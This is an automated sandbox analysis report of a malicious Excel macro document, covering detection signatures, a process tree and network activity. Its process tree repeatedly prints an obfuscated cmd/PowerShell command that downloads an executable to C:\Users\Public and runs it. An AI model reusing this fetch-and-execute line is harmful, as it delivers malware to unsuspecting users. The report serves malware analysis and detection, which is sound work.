Joe Sandbox Cloud Basic Analysis Report

Loading Joe Sandbox Report ...

Edit tour

Windows Analysis Report
827837hj.xls

Overview

General Information

Sample Name:827837hj.xls
Analysis ID:760118
MD5:a3a7be7f733771ff24d6286ea49db98c
SHA1:9017cdc08851f162ae8ca54cfde0841526f4ebbf
SHA256:348d37d813ca44c373ddd848e39f0ec422982b57e23b502f5ed10a5c86829485
Tags:xls
Infos:

Detection

Score:76
Range:0 - 100
Whitelisted:false
Confidence:100%

Signatures

Multi AV Scanner detection for submitted file
Document contains an embedded VBA macro which may execute processes
Document contains an embedded VBA with base64 encoded strings
Machine Learning detection for sample
Powershell drops PE file
Obfuscated command line found
Drops PE files to the user root directory
Document exploit detected (process start blacklist hit)
Queries the volume information (name, serial number etc) of a device
Contains functionality to check if a debugger is running (IsDebuggerPresent)
Contains functionality to query locales information (e.g. system language)
May sleep (evasive loops) to hinder dynamic analysis
Uses code obfuscation techniques (call, push, ret)
PE file contains sections with non-standard names
Detected potential crypto function
Contains functionality to query CPU information (cpuid)
Found potential string decryption / allocating functions
Document contains an embedded VBA macro which executes code when the document is opened / closed
Sample execution stops while process was sleeping (likely an evasion)
Too many similar processes found
JA3 SSL client fingerprint seen in connection with other malware
Contains functionality to check if a window is minimized (may be used to check if an application is visible)
Potential document exploit detected (performs DNS queries)
Contains functionality which may be used to detect a debugger (GetProcessHeap)
IP address seen in connection with other malware
Uses insecure TLS / SSL version for HTTPS connection
Contains long sleeps (>= 3 min)
Enables debug privileges
Found a high number of Window / User specific system calls (may be a loop to detect user behavior)
Found inlined nop instructions (likely shell or obfuscated code)
Potential document exploit detected (unknown TCP traffic)
Extensive use of GetProcAddress (often used to hide API calls)
Drops PE files
Contains functionality to read the PEB
Uses a known web browser user agent for HTTP communication
Contains functionality to open a port and listen for incoming connection (possibly a backdoor)
Document contains embedded VBA macros
Contains functionality to retrieve information about pressed keystrokes
Drops PE files to the user directory
Found large amount of non-executed APIs
Potential document exploit detected (performs HTTP gets)
Creates a process in suspended mode (likely to inject code)
Contains functionality for read data from the clipboard

Classification

Process Tree

  • System is w10x64
  • EXCEL.EXE (PID: 5168 cmdline: "C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE" /automation -Embedding MD5: 5D6638F2C8F8571C593999C58866007E)
    • cmd.exe (PID: 5616 cmdline: cmd /c pow^ers^hell/W 01 c^u^rl htt^ps://the.earth.li/~sgtatham/putty/latest/w32/putty.e^xe -o C:\Users\Public\pin77.exe;C:\Users\Public\pin77.exe MD5: F3BDBE3BB6F734E357235F4D5898582D)
      • conhost.exe (PID: 5544 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: EA777DEEA782E8B4D7C7C33BBF8A4496)
      • powershell.exe (PID: 628 cmdline: powershell /W 01 curl https://the.earth.li/~sgtatham/putty/latest/w32/putty.exe -o C:\Users\Public\pin77.exe;C:\Users\Public\pin77.exe MD5: DBA3E6449E97D4E3DF64527EF7012A10)
        • pin77.exe (PID: 5612 cmdline: C:\Users\Public\pin77.exe MD5: AEB47B393079D8C92169F1EF88DD5696)
    • cmd.exe (PID: 4252 cmdline: cmd /c pow^ers^hell/W 01 c^u^rl htt^ps://the.earth.li/~sgtatham/putty/latest/w32/putty.e^xe -o C:\Users\Public\pin77.exe;C:\Users\Public\pin77.exe MD5: F3BDBE3BB6F734E357235F4D5898582D)
      • conhost.exe (PID: 1552 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: EA777DEEA782E8B4D7C7C33BBF8A4496)
      • powershell.exe (PID: 4116 cmdline: powershell /W 01 curl https://the.earth.li/~sgtatham/putty/latest/w32/putty.exe -o C:\Users\Public\pin77.exe;C:\Users\Public\pin77.exe MD5: DBA3E6449E97D4E3DF64527EF7012A10)
    • cmd.exe (PID: 2336 cmdline: cmd /c pow^ers^hell/W 01 c^u^rl htt^ps://the.earth.li/~sgtatham/putty/latest/w32/putty.e^xe -o C:\Users\Public\pin77.exe;C:\Users\Public\pin77.exe MD5: F3BDBE3BB6F734E357235F4D5898582D)
      • conhost.exe (PID: 1672 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: EA777DEEA782E8B4D7C7C33BBF8A4496)
      • powershell.exe (PID: 1116 cmdline: powershell /W 01 curl https://the.earth.li/~sgtatham/putty/latest/w32/putty.exe -o C:\Users\Public\pin77.exe;C:\Users\Public\pin77.exe MD5: DBA3E6449E97D4E3DF64527EF7012A10)
    • cmd.exe (PID: 4468 cmdline: cmd /c pow^ers^hell/W 01 c^u^rl htt^ps://the.earth.li/~sgtatham/putty/latest/w32/putty.e^xe -o C:\Users\Public\pin77.exe;C:\Users\Public\pin77.exe MD5: F3BDBE3BB6F734E357235F4D5898582D)
      • conhost.exe (PID: 5888 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: EA777DEEA782E8B4D7C7C33BBF8A4496)
      • powershell.exe (PID: 2400 cmdline: powershell /W 01 curl https://the.earth.li/~sgtatham/putty/latest/w32/putty.exe -o C:\Users\Public\pin77.exe;C:\Users\Public\pin77.exe MD5: DBA3E6449E97D4E3DF64527EF7012A10)
        • pin77.exe (PID: 4696 cmdline: C:\Users\Public\pin77.exe MD5: AEB47B393079D8C92169F1EF88DD5696)
      • conhost.exe (PID: 4488 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: EA777DEEA782E8B4D7C7C33BBF8A4496)
    • cmd.exe (PID: 1112 cmdline: cmd /c pow^ers^hell/W 01 c^u^rl htt^ps://the.earth.li/~sgtatham/putty/latest/w32/putty.e^xe -o C:\Users\Public\pin77.exe;C:\Users\Public\pin77.exe MD5: F3BDBE3BB6F734E357235F4D5898582D)
      • conhost.exe (PID: 5252 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: EA777DEEA782E8B4D7C7C33BBF8A4496)
      • powershell.exe (PID: 5980 cmdline: powershell /W 01 curl https://the.earth.li/~sgtatham/putty/latest/w32/putty.exe -o C:\Users\Public\pin77.exe;C:\Users\Public\pin77.exe MD5: DBA3E6449E97D4E3DF64527EF7012A10)
        • pin77.exe (PID: 5932 cmdline: C:\Users\Public\pin77.exe MD5: AEB47B393079D8C92169F1EF88DD5696)
    • cmd.exe (PID: 2100 cmdline: cmd /c pow^ers^hell/W 01 c^u^rl htt^ps://the.earth.li/~sgtatham/putty/latest/w32/putty.e^xe -o C:\Users\Public\pin77.exe;C:\Users\Public\pin77.exe MD5: F3BDBE3BB6F734E357235F4D5898582D)
      • conhost.exe (PID: 648 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: EA777DEEA782E8B4D7C7C33BBF8A4496)
      • powershell.exe (PID: 3728 cmdline: powershell /W 01 curl https://the.earth.li/~sgtatham/putty/latest/w32/putty.exe -o C:\Users\Public\pin77.exe;C:\Users\Public\pin77.exe MD5: DBA3E6449E97D4E3DF64527EF7012A10)
        • pin77.exe (PID: 4988 cmdline: C:\Users\Public\pin77.exe MD5: AEB47B393079D8C92169F1EF88DD5696)
    • cmd.exe (PID: 1756 cmdline: cmd /c pow^ers^hell/W 01 c^u^rl htt^ps://the.earth.li/~sgtatham/putty/latest/w32/putty.e^xe -o C:\Users\Public\pin77.exe;C:\Users\Public\pin77.exe MD5: F3BDBE3BB6F734E357235F4D5898582D)
      • conhost.exe (PID: 64 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: EA777DEEA782E8B4D7C7C33BBF8A4496)
      • powershell.exe (PID: 5376 cmdline: powershell /W 01 curl https://the.earth.li/~sgtatham/putty/latest/w32/putty.exe -o C:\Users\Public\pin77.exe;C:\Users\Public\pin77.exe MD5: DBA3E6449E97D4E3DF64527EF7012A10)
        • pin77.exe (PID: 5840 cmdline: C:\Users\Public\pin77.exe MD5: AEB47B393079D8C92169F1EF88DD5696)
    • cmd.exe (PID: 2240 cmdline: cmd /c pow^ers^hell/W 01 c^u^rl htt^ps://the.earth.li/~sgtatham/putty/latest/w32/putty.e^xe -o C:\Users\Public\pin77.exe;C:\Users\Public\pin77.exe MD5: F3BDBE3BB6F734E357235F4D5898582D)
      • conhost.exe (PID: 3788 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: EA777DEEA782E8B4D7C7C33BBF8A4496)
      • powershell.exe (PID: 1108 cmdline: powershell /W 01 curl https://the.earth.li/~sgtatham/putty/latest/w32/putty.exe -o C:\Users\Public\pin77.exe;C:\Users\Public\pin77.exe MD5: DBA3E6449E97D4E3DF64527EF7012A10)
        • pin77.exe (PID: 6128 cmdline: C:\Users\Public\pin77.exe MD5: AEB47B393079D8C92169F1EF88DD5696)
    • cmd.exe (PID: 576 cmdline: cmd /c pow^ers^hell/W 01 c^u^rl htt^ps://the.earth.li/~sgtatham/putty/latest/w32/putty.e^xe -o C:\Users\Public\pin77.exe;C:\Users\Public\pin77.exe MD5: F3BDBE3BB6F734E357235F4D5898582D)
      • conhost.exe (PID: 6012 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: EA777DEEA782E8B4D7C7C33BBF8A4496)
      • powershell.exe (PID: 4876 cmdline: powershell /W 01 curl https://the.earth.li/~sgtatham/putty/latest/w32/putty.exe -o C:\Users\Public\pin77.exe;C:\Users\Public\pin77.exe MD5: DBA3E6449E97D4E3DF64527EF7012A10)
        • pin77.exe (PID: 4996 cmdline: C:\Users\Public\pin77.exe MD5: AEB47B393079D8C92169F1EF88DD5696)
    • cmd.exe (PID: 5164 cmdline: cmd /c pow^ers^hell/W 01 c^u^rl htt^ps://the.earth.li/~sgtatham/putty/latest/w32/putty.e^xe -o C:\Users\Public\pin77.exe;C:\Users\Public\pin77.exe MD5: F3BDBE3BB6F734E357235F4D5898582D)
      • conhost.exe (PID: 1768 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: EA777DEEA782E8B4D7C7C33BBF8A4496)
      • powershell.exe (PID: 5508 cmdline: powershell /W 01 curl https://the.earth.li/~sgtatham/putty/latest/w32/putty.exe -o C:\Users\Public\pin77.exe;C:\Users\Public\pin77.exe MD5: DBA3E6449E97D4E3DF64527EF7012A10)
        • pin77.exe (PID: 5224 cmdline: C:\Users\Public\pin77.exe MD5: AEB47B393079D8C92169F1EF88DD5696)
    • cmd.exe (PID: 5388 cmdline: cmd /c pow^ers^hell/W 01 c^u^rl htt^ps://the.earth.li/~sgtatham/putty/latest/w32/putty.e^xe -o C:\Users\Public\pin77.exe;C:\Users\Public\pin77.exe MD5: F3BDBE3BB6F734E357235F4D5898582D)
      • conhost.exe (PID: 5000 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: EA777DEEA782E8B4D7C7C33BBF8A4496)
      • powershell.exe (PID: 3408 cmdline: powershell /W 01 curl https://the.earth.li/~sgtatham/putty/latest/w32/putty.exe -o C:\Users\Public\pin77.exe;C:\Users\Public\pin77.exe MD5: DBA3E6449E97D4E3DF64527EF7012A10)
        • pin77.exe (PID: 5996 cmdline: C:\Users\Public\pin77.exe MD5: AEB47B393079D8C92169F1EF88DD5696)
    • cmd.exe (PID: 5928 cmdline: cmd /c pow^ers^hell/W 01 c^u^rl htt^ps://the.earth.li/~sgtatham/putty/latest/w32/putty.e^xe -o C:\Users\Public\pin77.exe;C:\Users\Public\pin77.exe MD5: F3BDBE3BB6F734E357235F4D5898582D)
      • conhost.exe (PID: 6092 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: EA777DEEA782E8B4D7C7C33BBF8A4496)
      • powershell.exe (PID: 636 cmdline: powershell /W 01 curl https://the.earth.li/~sgtatham/putty/latest/w32/putty.exe -o C:\Users\Public\pin77.exe;C:\Users\Public\pin77.exe MD5: DBA3E6449E97D4E3DF64527EF7012A10)
        • pin77.exe (PID: 4768 cmdline: C:\Users\Public\pin77.exe MD5: AEB47B393079D8C92169F1EF88DD5696)
    • cmd.exe (PID: 3176 cmdline: cmd /c pow^ers^hell/W 01 c^u^rl htt^ps://the.earth.li/~sgtatham/putty/latest/w32/putty.e^xe -o C:\Users\Public\pin77.exe;C:\Users\Public\pin77.exe MD5: F3BDBE3BB6F734E357235F4D5898582D)
      • conhost.exe (PID: 3108 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: EA777DEEA782E8B4D7C7C33BBF8A4496)
      • powershell.exe (PID: 1944 cmdline: powershell /W 01 curl https://the.earth.li/~sgtatham/putty/latest/w32/putty.exe -o C:\Users\Public\pin77.exe;C:\Users\Public\pin77.exe MD5: DBA3E6449E97D4E3DF64527EF7012A10)
        • pin77.exe (PID: 1412 cmdline: C:\Users\Public\pin77.exe MD5: AEB47B393079D8C92169F1EF88DD5696)
    • cmd.exe (PID: 4648 cmdline: cmd /c pow^ers^hell/W 01 c^u^rl htt^ps://the.earth.li/~sgtatham/putty/latest/w32/putty.e^xe -o C:\Users\Public\pin77.exe;C:\Users\Public\pin77.exe MD5: F3BDBE3BB6F734E357235F4D5898582D)
      • conhost.exe (PID: 5336 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: EA777DEEA782E8B4D7C7C33BBF8A4496)
      • powershell.exe (PID: 4780 cmdline: powershell /W 01 curl https://the.earth.li/~sgtatham/putty/latest/w32/putty.exe -o C:\Users\Public\pin77.exe;C:\Users\Public\pin77.exe MD5: DBA3E6449E97D4E3DF64527EF7012A10)
        • pin77.exe (PID: 6136 cmdline: C:\Users\Public\pin77.exe MD5: AEB47B393079D8C92169F1EF88DD5696)
    • cmd.exe (PID: 5420 cmdline: cmd /c pow^ers^hell/W 01 c^u^rl htt^ps://the.earth.li/~sgtatham/putty/latest/w32/putty.e^xe -o C:\Users\Public\pin77.exe;C:\Users\Public\pin77.exe MD5: F3BDBE3BB6F734E357235F4D5898582D)
      • conhost.exe (PID: 1668 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: EA777DEEA782E8B4D7C7C33BBF8A4496)
      • powershell.exe (PID: 5004 cmdline: powershell /W 01 curl https://the.earth.li/~sgtatham/putty/latest/w32/putty.exe -o C:\Users\Public\pin77.exe;C:\Users\Public\pin77.exe MD5: DBA3E6449E97D4E3DF64527EF7012A10)
        • pin77.exe (PID: 5468 cmdline: C:\Users\Public\pin77.exe MD5: AEB47B393079D8C92169F1EF88DD5696)
    • cmd.exe (PID: 864 cmdline: cmd /c pow^ers^hell/W 01 c^u^rl htt^ps://the.earth.li/~sgtatham/putty/latest/w32/putty.e^xe -o C:\Users\Public\pin77.exe;C:\Users\Public\pin77.exe MD5: F3BDBE3BB6F734E357235F4D5898582D)
      • conhost.exe (PID: 5600 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: EA777DEEA782E8B4D7C7C33BBF8A4496)
      • powershell.exe (PID: 4916 cmdline: powershell /W 01 curl https://the.earth.li/~sgtatham/putty/latest/w32/putty.exe -o C:\Users\Public\pin77.exe;C:\Users\Public\pin77.exe MD5: DBA3E6449E97D4E3DF64527EF7012A10)
        • pin77.exe (PID: 5580 cmdline: C:\Users\Public\pin77.exe MD5: AEB47B393079D8C92169F1EF88DD5696)
    • cmd.exe (PID: 5916 cmdline: cmd /c pow^ers^hell/W 01 c^u^rl htt^ps://the.earth.li/~sgtatham/putty/latest/w32/putty.e^xe -o C:\Users\Public\pin77.exe;C:\Users\Public\pin77.exe MD5: F3BDBE3BB6F734E357235F4D5898582D)
      • conhost.exe (PID: 4556 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: EA777DEEA782E8B4D7C7C33BBF8A4496)
      • powershell.exe (PID: 4840 cmdline: powershell /W 01 curl https://the.earth.li/~sgtatham/putty/latest/w32/putty.exe -o C:\Users\Public\pin77.exe;C:\Users\Public\pin77.exe MD5: DBA3E6449E97D4E3DF64527EF7012A10)
        • pin77.exe (PID: 3328 cmdline: C:\Users\Public\pin77.exe MD5: AEB47B393079D8C92169F1EF88DD5696)
    • cmd.exe (PID: 3152 cmdline: cmd /c pow^ers^hell/W 01 c^u^rl htt^ps://the.earth.li/~sgtatham/putty/latest/w32/putty.e^xe -o C:\Users\Public\pin77.exe;C:\Users\Public\pin77.exe MD5: F3BDBE3BB6F734E357235F4D5898582D)
      • conhost.exe (PID: 1296 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: EA777DEEA782E8B4D7C7C33BBF8A4496)
      • powershell.exe (PID: 3508 cmdline: powershell /W 01 curl https://the.earth.li/~sgtatham/putty/latest/w32/putty.exe -o C:\Users\Public\pin77.exe;C:\Users\Public\pin77.exe MD5: DBA3E6449E97D4E3DF64527EF7012A10)
        • pin77.exe (PID: 1172 cmdline: C:\Users\Public\pin77.exe MD5: AEB47B393079D8C92169F1EF88DD5696)
    • cmd.exe (PID: 5804 cmdline: cmd /c pow^ers^hell/W 01 c^u^rl htt^ps://the.earth.li/~sgtatham/putty/latest/w32/putty.e^xe -o C:\Users\Public\pin77.exe;C:\Users\Public\pin77.exe MD5: F3BDBE3BB6F734E357235F4D5898582D)
      • conhost.exe (PID: 5680 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: EA777DEEA782E8B4D7C7C33BBF8A4496)
      • powershell.exe (PID: 5360 cmdline: powershell /W 01 curl https://the.earth.li/~sgtatham/putty/latest/w32/putty.exe -o C:\Users\Public\pin77.exe;C:\Users\Public\pin77.exe MD5: DBA3E6449E97D4E3DF64527EF7012A10)
        • pin77.exe (PID: 3752 cmdline: C:\Users\Public\pin77.exe MD5: AEB47B393079D8C92169F1EF88DD5696)
    • cmd.exe (PID: 1336 cmdline: cmd /c pow^ers^hell/W 01 c^u^rl htt^ps://the.earth.li/~sgtatham/putty/latest/w32/putty.e^xe -o C:\Users\Public\pin77.exe;C:\Users\Public\pin77.exe MD5: F3BDBE3BB6F734E357235F4D5898582D)
      • conhost.exe (PID: 4496 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: EA777DEEA782E8B4D7C7C33BBF8A4496)
      • powershell.exe (PID: 1244 cmdline: powershell /W 01 curl https://the.earth.li/~sgtatham/putty/latest/w32/putty.exe -o C:\Users\Public\pin77.exe;C:\Users\Public\pin77.exe MD5: DBA3E6449E97D4E3DF64527EF7012A10)
        • pin77.exe (PID: 4344 cmdline: C:\Users\Public\pin77.exe MD5: AEB47B393079D8C92169F1EF88DD5696)
    • cmd.exe (PID: 1672 cmdline: cmd /c pow^ers^hell/W 01 c^u^rl htt^ps://the.earth.li/~sgtatham/putty/latest/w32/putty.e^xe -o C:\Users\Public\pin77.exe;C:\Users\Public\pin77.exe MD5: F3BDBE3BB6F734E357235F4D5898582D)
      • conhost.exe (PID: 3660 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: EA777DEEA782E8B4D7C7C33BBF8A4496)
      • powershell.exe (PID: 4268 cmdline: powershell /W 01 curl https://the.earth.li/~sgtatham/putty/latest/w32/putty.exe -o C:\Users\Public\pin77.exe;C:\Users\Public\pin77.exe MD5: DBA3E6449E97D4E3DF64527EF7012A10)
        • pin77.exe (PID: 5156 cmdline: C:\Users\Public\pin77.exe MD5: AEB47B393079D8C92169F1EF88DD5696)
    • cmd.exe (PID: 4492 cmdline: cmd /c pow^ers^hell/W 01 c^u^rl htt^ps://the.earth.li/~sgtatham/putty/latest/w32/putty.e^xe -o C:\Users\Public\pin77.exe;C:\Users\Public\pin77.exe MD5: F3BDBE3BB6F734E357235F4D5898582D)
      • conhost.exe (PID: 664 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: EA777DEEA782E8B4D7C7C33BBF8A4496)
      • powershell.exe (PID: 404 cmdline: powershell /W 01 curl https://the.earth.li/~sgtatham/putty/latest/w32/putty.exe -o C:\Users\Public\pin77.exe;C:\Users\Public\pin77.exe MD5: DBA3E6449E97D4E3DF64527EF7012A10)
        • pin77.exe (PID: 868 cmdline: C:\Users\Public\pin77.exe MD5: AEB47B393079D8C92169F1EF88DD5696)
    • cmd.exe (PID: 6104 cmdline: cmd /c pow^ers^hell/W 01 c^u^rl htt^ps://the.earth.li/~sgtatham/putty/latest/w32/putty.e^xe -o C:\Users\Public\pin77.exe;C:\Users\Public\pin77.exe MD5: F3BDBE3BB6F734E357235F4D5898582D)
      • conhost.exe (PID: 5828 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: EA777DEEA782E8B4D7C7C33BBF8A4496)
      • powershell.exe (PID: 5352 cmdline: powershell /W 01 curl https://the.earth.li/~sgtatham/putty/latest/w32/putty.exe -o C:\Users\Public\pin77.exe;C:\Users\Public\pin77.exe MD5: DBA3E6449E97D4E3DF64527EF7012A10)
  • cleanup

Malware Configuration

⊘No configs have been found

Yara Signatures

⊘No yara matches

Sigma Signatures

⊘No Sigma rule has matched

Snort Signatures

⊘No Snort rule has matched

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

barindex
Multi AV Scanner detection for submitted file
Source: 827837hj.xlsReversingLabs: Detection: 24%
Source: 827837hj.xlsVirustotal: Detection: 41%Perma Link
Machine Learning detection for sample
Source: 827837hj.xlsJoe Sandbox ML: detected
Source: unknownHTTPS traffic detected: 93.93.131.124:443 -> 192.168.2.3:49700 version: TLS 1.0
Source: unknownHTTPS traffic detected: 93.93.131.124:443 -> 192.168.2.3:49702 version: TLS 1.0
Source: unknownHTTPS traffic detected: 93.93.131.124:443 -> 192.168.2.3:49704 version: TLS 1.0
Source: unknownHTTPS traffic detected: 93.93.131.124:443 -> 192.168.2.3:49706 version: TLS 1.0
Source: unknownHTTPS traffic detected: 93.93.131.124:443 -> 192.168.2.3:49708 version: TLS 1.0
Source: unknownHTTPS traffic detected: 93.93.131.124:443 -> 192.168.2.3:49710 version: TLS 1.0
Source: unknownHTTPS traffic detected: 93.93.131.124:443 -> 192.168.2.3:49712 version: TLS 1.0
Source: unknownHTTPS traffic detected: 93.93.131.124:443 -> 192.168.2.3:49714 version: TLS 1.0
Source: unknownHTTPS traffic detected: 93.93.131.124:443 -> 192.168.2.3:49716 version: TLS 1.0
Source: unknownHTTPS traffic detected: 93.93.131.124:443 -> 192.168.2.3:49718 version: TLS 1.0
Source: unknownHTTPS traffic detected: 93.93.131.124:443 -> 192.168.2.3:49720 version: TLS 1.0
Source: unknownHTTPS traffic detected: 93.93.131.124:443 -> 192.168.2.3:49722 version: TLS 1.0
Source: unknownHTTPS traffic detected: 93.93.131.124:443 -> 192.168.2.3:49724 version: TLS 1.0
Source: unknownHTTPS traffic detected: 93.93.131.124:443 -> 192.168.2.3:49726 version: TLS 1.0
Source: unknownHTTPS traffic detected: 93.93.131.124:443 -> 192.168.2.3:49728 version: TLS 1.0
Source: unknownHTTPS traffic detected: 93.93.131.124:443 -> 192.168.2.3:49730 version: TLS 1.0
Source: unknownHTTPS traffic detected: 93.93.131.124:443 -> 192.168.2.3:49732 version: TLS 1.0
Source: unknownHTTPS traffic detected: 93.93.131.124:443 -> 192.168.2.3:49738 version: TLS 1.0
Source: unknownHTTPS traffic detected: 93.93.131.124:443 -> 192.168.2.3:49750 version: TLS 1.0
Source: unknownHTTPS traffic detected: 93.93.131.124:443 -> 192.168.2.3:49753 version: TLS 1.0
Source: unknownHTTPS traffic detected: 93.93.131.124:443 -> 192.168.2.3:49755 version: TLS 1.0
Source: unknownHTTPS traffic detected: 93.93.131.124:443 -> 192.168.2.3:49757 version: TLS 1.0
Source: unknownHTTPS traffic detected: 93.93.131.124:443 -> 192.168.2.3:49759 version: TLS 1.0
Source: unknownHTTPS traffic detected: 93.93.131.124:443 -> 192.168.2.3:49761 version: TLS 1.0
Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXEFile opened: C:\Windows\SysWOW64\MSVCR100.dllJump to behavior
Source: C:\Users\Public\pin77.exeCode function: 12_2_00344B20 FindFirstFileA,FindClose,12_2_00344B20
Source: C:\Users\Public\pin77.exeCode function: 12_2_00318B60 GetWindowsDirectoryA,_strlen,FindFirstFileA,FindNextFileA,FindNextFileA,FindClose,GetCurrentProcessId,12_2_00318B60
Source: C:\Users\Public\pin77.exeCode function: 12_2_003A8F62 FindFirstFileExW,12_2_003A8F62
Source: C:\Users\Public\pin77.exeCode function: 12_2_003A9013 FindFirstFileExW,FindNextFileW,FindClose,FindClose,12_2_003A9013
Source: C:\Users\Public\pin77.exeCode function: 20_2_00344B20 FindFirstFileA,FindClose,20_2_00344B20
Source: C:\Users\Public\pin77.exeCode function: 20_2_00318B60 GetWindowsDirectoryA,_strlen,FindFirstFileA,FindNextFileA,FindNextFileA,FindClose,GetCurrentProcessId,20_2_00318B60
Source: C:\Users\Public\pin77.exeCode function: 20_2_003A8F62 FindFirstFileExW,20_2_003A8F62
Source: C:\Users\Public\pin77.exeCode function: 20_2_003A9013 FindFirstFileExW,FindNextFileW,FindClose,FindClose,20_2_003A9013
Source: C:\Users\Public\pin77.exeCode function: 20_2_003399C0 GetProcAddress,FindFirstFileA,CloseHandle,20_2_003399C0
Source: C:\Users\Public\pin77.exeCode function: 20_2_00367B40 FindFirstFileA,FindClose,FindWindowA,20_2_00367B40

Software Vulnerabilities

barindex
Document exploit detected (process start blacklist hit)
Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXEProcess created: C:\Windows\SysWOW64\cmd.exe
Source: global trafficDNS query: name: the.earth.li
Source: global trafficDNS query: name: the.earth.li
Source: global trafficDNS query: name: the.earth.li
Source: global trafficDNS query: name: the.earth.li
Source: global trafficDNS query: name: the.earth.li
Source: global trafficDNS query: name: the.earth.li
Source: global trafficDNS query: name: the.earth.li
Source: global trafficDNS query: name: the.earth.li
Source: global trafficDNS query: name: the.earth.li
Source: global trafficDNS query: name: the.earth.li
Source: global trafficDNS query: name: the.earth.li
Source: global trafficDNS query: name: the.earth.li
Source: global trafficDNS query: name: the.earth.li
Source: global trafficDNS query: name: the.earth.li
Source: global trafficDNS query: name: the.earth.li
Source: global trafficDNS query: name: the.earth.li
Source: global trafficDNS query: name: the.earth.li
Source: global trafficDNS query: name: the.earth.li
Source: global trafficDNS query: name: the.earth.li
Source: global trafficDNS query: name: the.earth.li
Source: global trafficDNS query: name: the.earth.li
Source: global trafficDNS query: name: the.earth.li
Source: global trafficDNS query: name: the.earth.li
Source: global trafficDNS query: name: the.earth.li
Source: C:\Users\Public\pin77.exeCode function: 4x nop then movzx ebp, byte ptr [edi]12_2_0035A060
Source: C:\Users\Public\pin77.exeCode function: 4x nop then push ecx12_2_003541F0
Source: C:\Users\Public\pin77.exeCode function: 4x nop then mov ecx, ebp12_2_003602F0
Source: C:\Users\Public\pin77.exeCode function: 4x nop then push ecx12_2_00328420
Source: C:\Users\Public\pin77.exeCode function: 4x nop then movsx edi, si12_2_003684F0
Source: C:\Users\Public\pin77.exeCode function: 4x nop then push ebx12_2_00372730
Source: C:\Users\Public\pin77.exeCode function: 4x nop then push 00000001h12_2_0033C7D0
Source: C:\Users\Public\pin77.exeCode function: 4x nop then mov dword ptr [esp+0Ch], edx12_2_0036E800
Source: C:\Users\Public\pin77.exeCode function: 4x nop then mov byte ptr [eax+esi*4+07h], 00000004h12_2_002F4877
Source: C:\Users\Public\pin77.exeCode function: 4x nop then sub edx, 01h12_2_0030A8D0
Source: C:\Users\Public\pin77.exeCode function: 4x nop then mov eax, dword ptr [esi+08h]12_2_0030C97D
Source: C:\Users\Public\pin77.exeCode function: 4x nop then mov edx, dword ptr [edi+ebx*4]12_2_002FE970
Source: C:\Users\Public\pin77.exeCode function: 4x nop then movzx ebx, byte ptr [ecx+ebp]12_2_0036C9F0
Source: C:\Users\Public\pin77.exeCode function: 4x nop then mov edi, edx12_2_00358A20
Source: C:\Users\Public\pin77.exeCode function: 4x nop then mov ecx, dword ptr [edi+04h]12_2_00358B40
Source: C:\Users\Public\pin77.exeCode function: 4x nop then mov ecx, dword ptr [esp+eax*8]12_2_0037CDF0
Source: C:\Users\Public\pin77.exeCode function: 4x nop then cmp byte ptr [edi+ebx], 0000002Ch12_2_0033CF40
Source: C:\Users\Public\pin77.exeCode function: 4x nop then mov eax, dword ptr [edi+ebp*4+04h]12_2_00312FA0
Source: C:\Users\Public\pin77.exeCode function: 4x nop then sub esi, 03h12_2_00360FC0
Source: C:\Users\Public\pin77.exeCode function: 4x nop then mov ecx, edx12_2_0032B030
Source: C:\Users\Public\pin77.exeCode function: 4x nop then push dword ptr [edi+10h]12_2_003530B0
Source: C:\Users\Public\pin77.exeCode function: 4x nop then mov ecx, dword ptr [eax-08h]12_2_003150A0
Source: C:\Users\Public\pin77.exeCode function: 4x nop then movzx ebx, word ptr [ecx+edx*2]12_2_003750F0
Source: C:\Users\Public\pin77.exeCode function: 4x nop then mov esi, 00000000h12_2_0035F1E0
Source: C:\Users\Public\pin77.exeCode function: 4x nop then push ebx12_2_00323220
Source: C:\Users\Public\pin77.exeCode function: 4x nop then mov dword ptr [esp+04h], ecx12_2_0036D290
Source: C:\Users\Public\pin77.exeCode function: 4x nop then mov eax, dword ptr [esi+1Ch]12_2_0032F2F0
Source: C:\Users\Public\pin77.exeCode function: 4x nop then add edi, 01h12_2_003072E0
Source: C:\Users\Public\pin77.exeCode function: 4x nop then mov esi, 00000000h12_2_0035F300
Source: C:\Users\Public\pin77.exeCode function: 4x nop then mov ebp, ebx12_2_00309350
Source: C:\Users\Public\pin77.exeCode function: 4x nop then push dword ptr [edi-4Ch]12_2_003433A0
Source: C:\Users\Public\pin77.exeCode function: 4x nop then movzx edi, word ptr [ecx+edx*2]12_2_003753E0
Source: C:\Users\Public\pin77.exeCode function: 4x nop then add esp, 04h12_2_0034D3D0
